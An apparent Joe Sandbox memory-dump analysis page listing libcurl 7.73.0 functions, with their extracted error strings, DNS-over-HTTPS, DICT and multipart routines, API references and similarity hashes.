Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f24c9c46262d23ec0b753b88de3e3c1e445ebfc2cafafc896c0ae8289ab2ec2b
Instruction ID: eacbff0118ebfb86a46a186b0a175d72cb7ea2e05c2d1e4679e19bb0ae1af54d
Opcode Fuzzy Hash: f24c9c46262d23ec0b753b88de3e3c1e445ebfc2cafafc896c0ae8289ab2ec2b
Instruction Fuzzy Hash: EBE08C72911238EBCB10DB99C940A9AF3ECEB45B08B154496F511D3110D274DE00CBD0

Function 6B909A80 Relevance: 161.3, APIs: 7, Strings: 85, Instructions: 272COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(6B908609,00000000,6B907A04), ref: 6B909A9F

Strings

SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log., xrefs: 6B909E88
SEC_E_MAX_REFERRALS_EXCEEDED, xrefs: 6B909C44
SEC_E_INCOMPLETE_CREDENTIALS, xrefs: 6B909BAE
SEC_I_COMPLETE_AND_CONTINUE, xrefs: 6B909E3E
SEC_E_LOGON_DENIED, xrefs: 6B909C3A
CRYPT_E_REVOKED, xrefs: 6B909DB6
SEC_E_UNKNOWN_CREDENTIALS, xrefs: 6B909D7A
Unknown error, xrefs: 6B909E76
SEC_E_INVALID_PARAMETER, xrefs: 6B909BE0
SEC_E_PKINIT_CLIENT_FAILURE, xrefs: 6B909CD0
SEC_I_LOCAL_LOGON, xrefs: 6B909E5A
SEC_E_NO_CREDENTIALS, xrefs: 6B909C80
SEC_E_CONTEXT_EXPIRED, xrefs: 6B909B54
SEC_E_NO_IMPERSONATION, xrefs: 6B909C8A
SEC_E_BAD_PKGID, xrefs: 6B909B0E
SEC_E_PKINIT_NAME_MISMATCH, xrefs: 6B909CDA
SEC_I_NO_LSA_CONTEXT, xrefs: 6B909E61
SEC_E_UNSUPPORTED_PREAUTH, xrefs: 6B909D8E
SEC_E_KDC_INVALID_REQUEST, xrefs: 6B909C1C
SEC_E_CRYPTO_SYSTEM_INVALID, xrefs: 6B909B68
SEC_E_TIME_SKEW, xrefs: 6B909D5C
SEC_E_ILLEGAL_MESSAGE, xrefs: 6B909BA4
SEC_E_DELEGATION_REQUIRED, xrefs: 6B909B86
SEC_E_MUST_BE_KDC, xrefs: 6B909C62
SEC_E_UNSUPPORTED_FUNCTION, xrefs: 6B909D84
%s (0x%08X), xrefs: 6B909DBD
SEC_I_CONTINUE_NEEDED, xrefs: 6B909DBC, 6B909E1E
SEC_E_INTERNAL_ERROR, xrefs: 6B909BCC
SEC_E_NO_IP_ADDRESSES, xrefs: 6B909C94
SEC_E_CERT_EXPIRED, xrefs: 6B909B36
SEC_I_RENEGOTIATE, xrefs: 6B909E68
SEC_E_SECPKG_NOT_FOUND, xrefs: 6B909D0C
SEC_E_POLICY_NLTM_ONLY, xrefs: 6B909CE4
SEC_E_CANNOT_INSTALL, xrefs: 6B909B22
SEC_E_CANNOT_PACK, xrefs: 6B909B2C
SEC_E_NO_PA_DATA, xrefs: 6B909CA8
SEC_I_SIGNATURE_NEEDED, xrefs: 6B909E6F
SEC_E_ENCRYPT_FAILURE, xrefs: 6B909B9A
SEC_E_INCOMPLETE_MESSAGE, xrefs: 6B909BB8
SEC_E_REVOCATION_OFFLINE_KDC, xrefs: 6B909D02
SEC_E_NO_AUTHENTICATING_AUTHORITY, xrefs: 6B909C76
SEC_E_KDC_CERT_REVOKED, xrefs: 6B909C12
SEC_E_SHUTDOWN_IN_PROGRESS, xrefs: 6B909D20
SEC_E_QOP_NOT_SUPPORTED, xrefs: 6B909CEE
SEC_E_NO_TGT_REPLY, xrefs: 6B909CBC
SEC_E_INVALID_TOKEN, xrefs: 6B909BEA
SEC_E_NO_S4U_PROT_SUPPORT, xrefs: 6B909CB2
SEC_E_DELEGATION_POLICY, xrefs: 6B909B7C
SEC_E_ISSUING_CA_UNTRUSTED, xrefs: 6B909BF4
SEC_E_DOWNGRADE_DETECTED, xrefs: 6B909B90
SEC_E_BUFFER_TOO_SMALL, xrefs: 6B909B18
SEC_E_SMARTCARD_LOGON_REQUIRED, xrefs: 6B909D3E
SEC_E_UNTRUSTED_ROOT, xrefs: 6B909D98
SEC_E_MESSAGE_ALTERED, xrefs: 6B909C4E
SEC_E_DECRYPT_FAILURE, xrefs: 6B909B72
SEC_E_CROSSREALM_DELEGATION_FAILURE, xrefs: 6B909B5E
SEC_E_WRONG_PRINCIPAL, xrefs: 6B909DAC
SEC_E_STRONG_CRYPTO_NOT_SUPPORTED, xrefs: 6B909D48
SEC_E_SMARTCARD_CERT_REVOKED, xrefs: 6B909D34
SEC_E_OUT_OF_SEQUENCE, xrefs: 6B909CC6
SEC_E_REVOCATION_OFFLINE_C, xrefs: 6B909CF8
SEC_E_KDC_CERT_EXPIRED, xrefs: 6B909C08
SEC_E_UNFINISHED_CONTEXT_DELETED, xrefs: 6B909D70
SEC_E_BAD_BINDINGS, xrefs: 6B909B04
SEC_E_KDC_UNKNOWN_ETYPE, xrefs: 6B909C30
SEC_I_INCOMPLETE_CREDENTIALS, xrefs: 6B909E53
SEC_E_TOO_MANY_PRINCIPALS, xrefs: 6B909D66
SEC_E_ALGORITHM_MISMATCH, xrefs: 6B909AFA
SEC_E_SECURITY_QOS_FAILED, xrefs: 6B909D16
SEC_E_INSUFFICIENT_MEMORY, xrefs: 6B909BC2
No error, xrefs: 6B909E17
SEC_E_CERT_WRONG_USAGE, xrefs: 6B909B4A
SEC_E_ISSUING_CA_UNTRUSTED_KDC, xrefs: 6B909BFE
SEC_E_SMARTCARD_CERT_EXPIRED, xrefs: 6B909D2A
SEC_E_NOT_OWNER, xrefs: 6B909C6C
SEC_E_INVALID_HANDLE, xrefs: 6B909BD6
SEC_E_CERT_UNKNOWN, xrefs: 6B909B40
%s - %s, xrefs: 6B909DF5
SEC_E_NO_KERB_KEY, xrefs: 6B909C9E
SEC_E_MULTIPLE_ACCOUNTS, xrefs: 6B909C58
SEC_I_CONTEXT_EXPIRED, xrefs: 6B909E4C
SEC_I_COMPLETE_NEEDED, xrefs: 6B909E45
SEC_E_TARGET_UNKNOWN, xrefs: 6B909D52
SEC_E_WRONG_CREDENTIAL_HANDLE, xrefs: 6B909DA2
SEC_E_KDC_UNABLE_TO_REFER, xrefs: 6B909C26

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLast
String ID: %s (0x%08X)$%s - %s$CRYPT_E_REVOKED$No error$SEC_E_ALGORITHM_MISMATCH$SEC_E_BAD_BINDINGS$SEC_E_BAD_PKGID$SEC_E_BUFFER_TOO_SMALL$SEC_E_CANNOT_INSTALL$SEC_E_CANNOT_PACK$SEC_E_CERT_EXPIRED$SEC_E_CERT_UNKNOWN$SEC_E_CERT_WRONG_USAGE$SEC_E_CONTEXT_EXPIRED$SEC_E_CROSSREALM_DELEGATION_FAILURE$SEC_E_CRYPTO_SYSTEM_INVALID$SEC_E_DECRYPT_FAILURE$SEC_E_DELEGATION_POLICY$SEC_E_DELEGATION_REQUIRED$SEC_E_DOWNGRADE_DETECTED$SEC_E_ENCRYPT_FAILURE$SEC_E_ILLEGAL_MESSAGE$SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log.$SEC_E_INCOMPLETE_CREDENTIALS$SEC_E_INCOMPLETE_MESSAGE$SEC_E_INSUFFICIENT_MEMORY$SEC_E_INTERNAL_ERROR$SEC_E_INVALID_HANDLE$SEC_E_INVALID_PARAMETER$SEC_E_INVALID_TOKEN$SEC_E_ISSUING_CA_UNTRUSTED$SEC_E_ISSUING_CA_UNTRUSTED_KDC$SEC_E_KDC_CERT_EXPIRED$SEC_E_KDC_CERT_REVOKED$SEC_E_KDC_INVALID_REQUEST$SEC_E_KDC_UNABLE_TO_REFER$SEC_E_KDC_UNKNOWN_ETYPE$SEC_E_LOGON_DENIED$SEC_E_MAX_REFERRALS_EXCEEDED$SEC_E_MESSAGE_ALTERED$SEC_E_MULTIPLE_ACCOUNTS$SEC_E_MUST_BE_KDC$SEC_E_NOT_OWNER$SEC_E_NO_AUTHENTICATING_AUTHORITY$SEC_E_NO_CREDENTIALS$SEC_E_NO_IMPERSONATION$SEC_E_NO_IP_ADDRESSES$SEC_E_NO_KERB_KEY$SEC_E_NO_PA_DATA$SEC_E_NO_S4U_PROT_SUPPORT$SEC_E_NO_TGT_REPLY$SEC_E_OUT_OF_SEQUENCE$SEC_E_PKINIT_CLIENT_FAILURE$SEC_E_PKINIT_NAME_MISMATCH$SEC_E_POLICY_NLTM_ONLY$SEC_E_QOP_NOT_SUPPORTED$SEC_E_REVOCATION_OFFLINE_C$SEC_E_REVOCATION_OFFLINE_KDC$SEC_E_SECPKG_NOT_FOUND$SEC_E_SECURITY_QOS_FAILED$SEC_E_SHUTDOWN_IN_PROGRESS$SEC_E_SMARTCARD_CERT_EXPIRED$SEC_E_SMARTCARD_CERT_REVOKED$SEC_E_SMARTCARD_LOGON_REQUIRED$SEC_E_STRONG_CRYPTO_NOT_SUPPORTED$SEC_E_TARGET_UNKNOWN$SEC_E_TIME_SKEW$SEC_E_TOO_MANY_PRINCIPALS$SEC_E_UNFINISHED_CONTEXT_DELETED$SEC_E_UNKNOWN_CREDENTIALS$SEC_E_UNSUPPORTED_FUNCTION$SEC_E_UNSUPPORTED_PREAUTH$SEC_E_UNTRUSTED_ROOT$SEC_E_WRONG_CREDENTIAL_HANDLE$SEC_E_WRONG_PRINCIPAL$SEC_I_COMPLETE_AND_CONTINUE$SEC_I_COMPLETE_NEEDED$SEC_I_CONTEXT_EXPIRED$SEC_I_CONTINUE_NEEDED$SEC_I_INCOMPLETE_CREDENTIALS$SEC_I_LOCAL_LOGON$SEC_I_NO_LSA_CONTEXT$SEC_I_RENEGOTIATE$SEC_I_SIGNATURE_NEEDED$Unknown error
API String ID: 1452528299-1081713384
Opcode ID: 772960577e68770a60bca4e3e0d4e7740d36e80d2a2d9fc132b6bff11e158855
Instruction ID: 308f1b973f3bf22c0edf77f07b8ad0e96bb7aab4fec0aab8ec552aeb233dd328
Opcode Fuzzy Hash: 772960577e68770a60bca4e3e0d4e7740d36e80d2a2d9fc132b6bff11e158855
Instruction Fuzzy Hash: 5791122069CB04D7C634857C85C8595FA6A6B27BC4B58C27EF903CF22ADE2DCD864763

Function 6B90A820 Relevance: 89.4, APIs: 1, Strings: 50, Instructions: 139COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 6B90AA39

Strings

No buffer space, xrefs: 6B90A960
Need destination address, xrefs: 6B90A8C0
Host unreachable, xrefs: 6B90A9BE
Connection was reset, xrefs: 6B90A956
Loop??, xrefs: 6B90A9A6
Not empty, xrefs: 6B90A9C5
Bad file, xrefs: 6B90A870
Socket is already connected, xrefs: 6B90A96A
Host not found, xrefs: 6B90AA0B
Socket has been shut down, xrefs: 6B90A97E
Call interrupted, xrefs: 6B90A866
Call would block, xrefs: 6B90A8A2
Socket is not connected, xrefs: 6B90A974
Protocol option is unsupported, xrefs: 6B90A8DE
Out of file descriptors, xrefs: 6B90A898
Connection refused, xrefs: 6B90A99C
Host not found, try again, xrefs: 6B90AA31
Address not available, xrefs: 6B90A924
Host down, xrefs: 6B90A9B7
Protocol family not supported, xrefs: 6B90A910
Network unreachable, xrefs: 6B90A938
Invalid arguments, xrefs: 6B90A88E
Name too long, xrefs: 6B90A9B0
Blocking call in progress, xrefs: 6B90A8AC
Unrecoverable error in call to nameserver, xrefs: 6B90AA2A, 6B90AA37
Bad protocol, xrefs: 6B90A8D4
Address already in use, xrefs: 6B90A91A
Protocol is unsupported, xrefs: 6B90A8E8
Timed out, xrefs: 6B90A992
Bad message size, xrefs: 6B90A8CA
Descriptor is not a socket, xrefs: 6B90A8B6
Network down, xrefs: 6B90A92E
Winsock library is not ready, xrefs: 6B90A9F6
Socket is unsupported, xrefs: 6B90A8F2
Remote error, xrefs: 6B90A9E8
Too many users, xrefs: 6B90A9D3
Too many references, xrefs: 6B90A988
No data record of requested type, xrefs: 6B90AA23
Something is stale, xrefs: 6B90A9E1
Process limit reached, xrefs: 6B90A9CC
Operation not supported, xrefs: 6B90A8FC
Network has been reset, xrefs: 6B90A942
Connection was aborted, xrefs: 6B90A94C
Disconnected, xrefs: 6B90A9EF
Bad argument, xrefs: 6B90A884
Address family not supported, xrefs: 6B90A906
Bad quota, xrefs: 6B90A9DA
Winsock version not supported, xrefs: 6B90AA04
Bad access, xrefs: 6B90A87A
Winsock library not initialised, xrefs: 6B90A9FD

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: _strncpy
String ID: Address already in use$Address family not supported$Address not available$Bad access$Bad argument$Bad file$Bad message size$Bad protocol$Bad quota$Blocking call in progress$Call interrupted$Call would block$Connection refused$Connection was aborted$Connection was reset$Descriptor is not a socket$Disconnected$Host down$Host not found$Host not found, try again$Host unreachable$Invalid arguments$Loop??$Name too long$Need destination address$Network down$Network has been reset$Network unreachable$No buffer space$No data record of requested type$Not empty$Operation not supported$Out of file descriptors$Process limit reached$Protocol family not supported$Protocol is unsupported$Protocol option is unsupported$Remote error$Socket has been shut down$Socket is already connected$Socket is not connected$Socket is unsupported$Something is stale$Timed out$Too many references$Too many users$Unrecoverable error in call to nameserver$Winsock library is not ready$Winsock library not initialised$Winsock version not supported
API String ID: 2961919466-3442644082
Opcode ID: 4eb470a7f1c6b614eac145c0da6536eab89a7528e2a97f0fd43bf8e0cfa3303e
Instruction ID: b2fb743b82b983767d7545fde1e4a2e3f0af2df4c5d5fb7383cf1eff8049fba6
Opcode Fuzzy Hash: 4eb470a7f1c6b614eac145c0da6536eab89a7528e2a97f0fd43bf8e0cfa3303e
Instruction Fuzzy Hash: A44150222A8309AB8134096D5B106573647BB53B90B83C6BEB804CE3D2E87EC84773D7

Function 6B8FE610 Relevance: 61.7, APIs: 33, Strings: 2, Instructions: 499COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B8FE683
curl_maprintf.LIBCURL(%s?dns=%s,00000000,?,?,?,?,?,?,00000000,?,?,?), ref: 6B8FE753
curl_easy_setopt.LIBCURL(00000000,00002712,00000000,?,?,?,?,00000000,?,?,?), ref: 6B8FE806
curl_easy_setopt.LIBCURL(00000000,00004E2B,6B8FE5E0,?,?,?,?,?,?,?,00000000,?,?,?), ref: 6B8FE825
curl_easy_setopt.LIBCURL(00000000,00002711,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6B8FE849
curl_easy_setopt.LIBCURL(00000000,0000271F,?), ref: 6B8FE86F
curl_easy_setopt.LIBCURL(00000000,0000003C,?), ref: 6B8FE88C
curl_easy_setopt.LIBCURL(00000000,00002727,?), ref: 6B8FE8A9
curl_easy_setopt.LIBCURL(00000000,000000B5,00000002), ref: 6B8FE8C5
curl_easy_setopt.LIBCURL(00000000,0000009B,?), ref: 6B8FE8E2
curl_easy_setopt.LIBCURL(00000000,00000029,00000001), ref: 6B8FE903
curl_easy_setopt.LIBCURL(00000000,00000063,00000001), ref: 6B8FE925
curl_easy_setopt.LIBCURL(00000000,000000E9,00000001), ref: 6B8FE94A
curl_easy_setopt.LIBCURL(00000000,00000051,00000002), ref: 6B8FE96C
curl_easy_setopt.LIBCURL(00000000,000000F9,00000002), ref: 6B8FE991
curl_easy_setopt.LIBCURL(00000000,000000F8,00000001), ref: 6B8FE9B6
curl_easy_setopt.LIBCURL(00000000,00002806,?), ref: 6B8FE9DB
curl_easy_setopt.LIBCURL(00000000,00002814,?), ref: 6B8FEA00
curl_easy_setopt.LIBCURL(00000000,00000105,00000008), ref: 6B8FEA32
curl_easy_setopt.LIBCURL(00000000,00002807,?), ref: 6B8FEA57
curl_easy_setopt.LIBCURL(00000000,00000040,00000001), ref: 6B8FEA79
curl_easy_setopt.LIBCURL(00000000,000000E8,00000001), ref: 6B8FEA9E
curl_easy_setopt.LIBCURL(00000000,00002751,?), ref: 6B8FEAC3
curl_easy_setopt.LIBCURL(00000000,00002771,?), ref: 6B8FEAE8
curl_easy_setopt.LIBCURL(00000000,000027B9,?), ref: 6B8FEB0D
curl_easy_setopt.LIBCURL(00000000,000000AC,00000001), ref: 6B8FEB32
curl_easy_setopt.LIBCURL(00000000,0000275C,?), ref: 6B8FEB57
curl_easy_setopt.LIBCURL(00000000,0000275D,?), ref: 6B8FEB7C
curl_easy_setopt.LIBCURL(00000000,000000D8,00000008), ref: 6B8FEBAE
curl_easy_setopt.LIBCURL(00000000,00004E8C,?), ref: 6B8FEBD3
curl_easy_setopt.LIBCURL(00000000,0000277D,?), ref: 6B8FEBF8
curl_easy_setopt.LIBCURL(00000000,0000283A,?), ref: 6B8FEC1D
curl_multi_add_handle.LIBCURL(?,00000000), ref: 6B8FEC4E

Strings

Failed to encode DOH packet [%d], xrefs: 6B8FE7A3
%s?dns=%s, xrefs: 6B8FE74E

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_easy_setopt$___from_strstr_to_strchrcurl_maprintfcurl_multi_add_handle
String ID: %s?dns=%s$Failed to encode DOH packet [%d]
API String ID: 667061265-3030351490
Opcode ID: 07eb24440078b084f2de04d950d306fedbe7f4ff481d4b0622cb8226704b0d6c
Instruction ID: c273999a6a016736d116d131eb06165d353f07298013bda61541d265ecf42a0e
Opcode Fuzzy Hash: 07eb24440078b084f2de04d950d306fedbe7f4ff481d4b0622cb8226704b0d6c
Instruction Fuzzy Hash: D9F14A71E44215FBEF228A70CC42B8A7BA9AF107D5F0406E4EC54BB291D7AE8E51C7D0

Function 6B8FD000 Relevance: 47.5, APIs: 19, Strings: 8, Instructions: 204COMMON

Download Yara Rule

APIs

curl_msnprintf.LIBCURL(?,00000006,%5I64d,?,?,92935E00,6B8E1696,?,6B8FD8FE,0B2083C7,00000000,?), ref: 6B8FD02A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD053
curl_msnprintf.LIBCURL(?,00000006,%4I64dk,00000000,?,?,?,00000400,00000000,92935E00,6B8E1696,?,6B8FD8FE,0B2083C7,00000000,?), ref: 6B8FD065
__allrem.LIBCMT ref: 6B8FD08A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD098
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD0A8
curl_msnprintf.LIBCURL(?,00000006,%2I64d.%0I64dM,00000000,?,?,?,00100000,00000000,00000000,?,00000000,?,00019999,00000000,?), ref: 6B8FD0BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD0E0
curl_msnprintf.LIBCURL(?,00000006,%4I64dM,00000000,?,?,?,00100000,00000000,92935E00,6B8E1696,?,6B8FD8FE,0B2083C7,00000000,?), ref: 6B8FD0F2
__allrem.LIBCMT ref: 6B8FD114
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD132
curl_msnprintf.LIBCURL(?,00000006,%2I64d.%0I64dG,00000000,?,?,?,40000000,00000000,00000000,?,00000000,?,06666666,00000000,?), ref: 6B8FD144
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD169
curl_msnprintf.LIBCURL(?,00000006,%4I64dG,00000000,?,?,?,40000000,00000000,92935E00,6B8E1696,?,6B8FD8FE,0B2083C7,00000000,?), ref: 6B8FD17B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD1A0
curl_msnprintf.LIBCURL(?,00000006,%4I64dT,00000000,?,?,?,00000000,00000100,92935E00,6B8E1696,?,6B8FD8FE,0B2083C7,00000000,?), ref: 6B8FD1B2
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD1C9
curl_msnprintf.LIBCURL(?,00000006,%4I64dP,00000000,?,?,?,00000000,00040000,92935E00,6B8E1696,?,6B8FD8FE,0B2083C7,00000000,?), ref: 6B8FD1DB

Strings

%2I64d.%0I64dM, xrefs: 6B8FD0B2
%4I64dT, xrefs: 6B8FD1AA
%4I64dG, xrefs: 6B8FD173
%2I64d.%0I64dG, xrefs: 6B8FD13C
%5I64d, xrefs: 6B8FD022
%4I64dP, xrefs: 6B8FD1D3
%4I64dM, xrefs: 6B8FD0EA
%4I64dk, xrefs: 6B8FD05D

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$curl_msnprintf$__allrem
String ID: %2I64d.%0I64dG$%2I64d.%0I64dM$%4I64dG$%4I64dM$%4I64dP$%4I64dT$%4I64dk$%5I64d
API String ID: 3299120379-2102732564
Opcode ID: fecdbff301afe0f417d7a72c2a5059cca32ac20230e01523ae4d18eff57ea1fc
Instruction ID: eea98cfa0bff0f25150174a6b85636068042e8138635dd91d52410380b3798c9
Opcode Fuzzy Hash: fecdbff301afe0f417d7a72c2a5059cca32ac20230e01523ae4d18eff57ea1fc
Instruction Fuzzy Hash: D641C6A7FC066436E63059682C12FAF631CDBD2F99F154869FB09BB181935CA81343F9

Function 6B8D9190 Relevance: 35.3, APIs: 8, Strings: 12, Instructions: 277COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B8D9245
___from_strstr_to_strchr.LIBCMT ref: 6B8D92AB
___from_strstr_to_strchr.LIBCMT ref: 6B8D92BD
___from_strstr_to_strchr.LIBCMT ref: 6B8D92D1
___from_strstr_to_strchr.LIBCMT ref: 6B8D9364
___from_strstr_to_strchr.LIBCMT ref: 6B8D9376
___from_strstr_to_strchr.LIBCMT ref: 6B8D938A
___from_strstr_to_strchr.LIBCMT ref: 6B8D939F

Strings

/LOOKUP:, xrefs: 6B8D9230
/M:, xrefs: 6B8D91D4
lookup word is missing, xrefs: 6B8D92EA, 6B8D93B7
default, xrefs: 6B8D92F8, 6B8D9310, 6B8D93C7, 6B8D93E8
CLIENT libcurl 7.73.0%sQUIT, xrefs: 6B8D9272
/DEFINE:, xrefs: 6B8D9204
/FIND:, xrefs: 6B8D91EC
/MATCH:, xrefs: 6B8D91B6
/D:, xrefs: 6B8D921C
CLIENT libcurl 7.73.0MATCH %s %s %sQUIT, xrefs: 6B8D940B
Failed sending DICT request, xrefs: 6B8D928F, 6B8D934A, 6B8D942D
CLIENT libcurl 7.73.0DEFINE %s %sQUIT, xrefs: 6B8D9326

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ___from_strstr_to_strchr
String ID: /D:$/DEFINE:$/FIND:$/LOOKUP:$/M:$/MATCH:$CLIENT libcurl 7.73.0%sQUIT$CLIENT libcurl 7.73.0DEFINE %s %sQUIT$CLIENT libcurl 7.73.0MATCH %s %s %sQUIT$Failed sending DICT request$default$lookup word is missing
API String ID: 601868998-3098048912
Opcode ID: f9243aa8a47698230e88e5d0091c09f786b409458dd647097b8da1df6ec4b4f1
Instruction ID: 105db3ab285a21ad8e5ab69fbf44a551d7bd71b5528beb1e0dc0b691208536cc
Opcode Fuzzy Hash: f9243aa8a47698230e88e5d0091c09f786b409458dd647097b8da1df6ec4b4f1
Instruction Fuzzy Hash: 00714B22E0461967D7110A795C52B6E7B798FE276DF1405EAEC586B283FB3EC90083F1

Function 6B8F2B70 Relevance: 33.5, APIs: 2, Strings: 17, Instructions: 282COMMON

Download Yara Rule

APIs

curl_slist_free_all.LIBCURL(?,00000000,?,?,multipart/form-data), ref: 6B8F2B8F
curl_strequal.LIBCURL(?,attachment,?,?,?,multipart/form-data), ref: 6B8F2CCC

Strings

; boundary=, xrefs: 6B8F2DB8, 6B8F2DC0
application/octet-stream, xrefs: 6B8F2C20
Content-Disposition, xrefs: 6B8F2C6D
; filename=", xrefs: 6B8F2D53, 6B8F2D5D
text/plain, xrefs: 6B8F2C4F
attachment, xrefs: 6B8F2CBE, 6B8F2CC6, 6B8F2CCB
Content-Transfer-Encoding: %s, xrefs: 6B8F2E19
Content-Type, xrefs: 6B8F2BBA
multipart/form-data, xrefs: 6B8F2E5B
form-data, xrefs: 6B8F2E6E, 6B8F2E83
Content-Transfer-Encoding, xrefs: 6B8F2DDD
Content-Type: %s%s%s, xrefs: 6B8F2DC5
multipart/mixed, xrefs: 6B8F2BF4
8bit, xrefs: 6B8F2E10, 6B8F2E15
; name=", xrefs: 6B8F2D68, 6B8F2D70
Content-Disposition: %s%s%s%s%s%s%s, xrefs: 6B8F2D77
multipart/, xrefs: 6B8F2CA8

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_slist_free_allcurl_strequal
String ID: 8bit$; boundary=$; filename="$; name="$Content-Disposition$Content-Disposition: %s%s%s%s%s%s%s$Content-Transfer-Encoding$Content-Transfer-Encoding: %s$Content-Type$Content-Type: %s%s%s$application/octet-stream$attachment$form-data$multipart/$multipart/form-data$multipart/mixed$text/plain
API String ID: 3213019040-1595554923
Opcode ID: 74a33f8eb84c51fb9fea66b6649eeb8375ef3fec14f9ff2591f4acd5f767bc21
Instruction ID: 467f5f5046db05a30011fd44ce04951c29754a0a6a736c8c890c64af3684475d
Opcode Fuzzy Hash: 74a33f8eb84c51fb9fea66b6649eeb8375ef3fec14f9ff2591f4acd5f767bc21
